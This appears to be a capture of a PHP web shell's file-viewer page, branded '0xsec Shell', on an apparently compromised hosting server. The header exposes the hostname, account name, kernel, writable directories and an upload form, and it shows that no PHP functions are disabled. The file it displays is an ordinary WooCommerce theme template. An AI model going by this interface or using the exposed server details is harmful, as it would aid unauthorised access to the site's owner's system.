0xsec Shell
0xSec


Server : LiteSpeed
System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : rahcos ( 1533)
PHP Version : 8.4.23
Disable Function : NONE
Directory :  /home/rahcos/.trash/wp-content/themes/hara/woocommerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/rahcos/.trash/wp-content/themes/hara/woocommerce/yith-wfbt-form-free.php
<?php
/**
 * Form template
 *
 * @author YITH
 * @package YITH WooCommerce Frequently Bought Together
 * @version 1.0.4
 */

global $product;


$index  = 0;
$thumbs = $checks = '';
$total  = 0;

if (! isset($products)) {
    return;
}
/**
 * @type $product WC_Product
 */
// set query
$url        = ! is_null($product) ? $product->get_permalink() : '';
$url        = add_query_arg('action', 'yith_bought_together', $url);
$url        = wp_nonce_url($url, 'yith_bought_together');
$is_wc_30   = version_compare(WC()->version, '3.0.0', '>=');

foreach ($products as $current_product) {
    /**
     * @type $current_product WC_Product
     */
    // get correct id if product is variation
    $current_product_is_variation   = $current_product->is_type('variation');
    if ($is_wc_30) {
        $current_product_id = $current_product->get_id();
    } else {
        $current_product_id = $current_product->is_type('variation') ? $current_product->variation_id : $current_product->id;
    }

    $current_product_price          = function_exists('wc_get_price_to_display') ? wc_get_price_to_display($current_product) : $current_product->get_display_price();
    $current_product_link           = $current_product->get_permalink();
    $current_product_image          = $current_product->get_image('yith_wfbt_image_size');
    $current_product_title          = $current_product->get_title();

    if ($index > 0) {
        $thumbs .= '<li class="image_plus image_plus_' . $index . '" data-rel="offeringID_' . $index . '"><i class="tb-icon tb-icon-plus"></i></li>';
    }
    $thumbs .= '<li class="image-td" data-rel="offeringID_' . $index . '"><a href="' . $current_product_link . '">' . $current_product_image . '</a>';
    $thumbs .= '<div class="caption"><span class="name"><a href="' . $current_product_link . '">' . $current_product_title . '</a></span><span class="price">' . $current_product->get_price_html() . '</span></div></li>';

    ob_start(); ?>
    <li class="yith-wfbt-item">
        <label data-for="offeringID_<?php echo esc_attr($index); ?>">

            <input type="hidden" name="offeringID[]" id="offeringID_<?php echo esc_attr($index); ?>" class="active" value="<?php echo esc_attr($current_product_id); ?>" />

            <span class="product-name"><?php echo ! $index ? '<span>'. esc_html__('This item', 'hara') . ': </span>' . trim($current_product_title) : trim($current_product_title); ?></span>

            <?php

            if ($current_product_is_variation) {
                $attributes = $current_product->get_variation_attributes();
                $variations = array();

                foreach ($attributes as $key => $attribute) {
                    $key = str_replace('attribute_', '', $key);

                    $terms = get_terms(array(
                        'taxonomy' =>  sanitize_title($key),
                        'menu_order' => 'ASC',
                        'hide_empty' => false
                    ));

                    foreach ($terms as $term) {
                        if (! is_object($term) || ! in_array($term->slug, array( $attribute ))) {
                            continue;
                        }
                        $variations[] = $term->name;
                    }
                }

                if (! empty($variations)) {
                    echo '<span class="product-attributes"> &ndash; ' . implode(', ', $variations) . '</span>';
                }
            } ?>

        </label>
    </li>
    <?php
    $checks .= ob_get_clean();
    // increment total
    $total += floatval($current_product_price);

    // increment index
    $index++;
}

if ($index < 2) {
    return; // exit if only available product is current
}

// set button label
$label       = get_option('yith-wfbt-button-label');
$label_total = get_option('yith-wfbt-total-label');
$title       = get_option('yith-wfbt-form-title');

?>

<div class="yith-wfbt-section tbay-element woocommerce">
    <?php if ($title != '') {
    echo '<h3 class="heading-tbay-title">' . esc_html($title) . '</h3>';
}
    ?>

    <form class="yith-wfbt-form" method="post" action="<?php echo esc_url($url) ?>">

        <div class="yith-wfbt-images">
            <ul>
                <?php echo trim($thumbs); ?>
                <li>
                    <div class="yith-wfbt-submit-block">
                        <div class="price_text">
                            <span class="total_price" data-total="<?php echo esc_attr($total); ?>">
                                <?php echo wc_price($total) ?>
                            </span>
                            
                            <span class="total_price_label">
                                <?php echo esc_html($label_total) ?>:
                            </span>
                           
                        </div>
                        <input type="submit" class="yith-wfbt-submit-button-remove button" value="<?php echo esc_attr($label); ?>">
                    </div>
                </li>
            </ul>
        </div>

        <ul class="yith-wfbt-items free">
            <?php echo trim($checks); ?>
        </ul>

    </form>
</div>

c0oded By c0rpz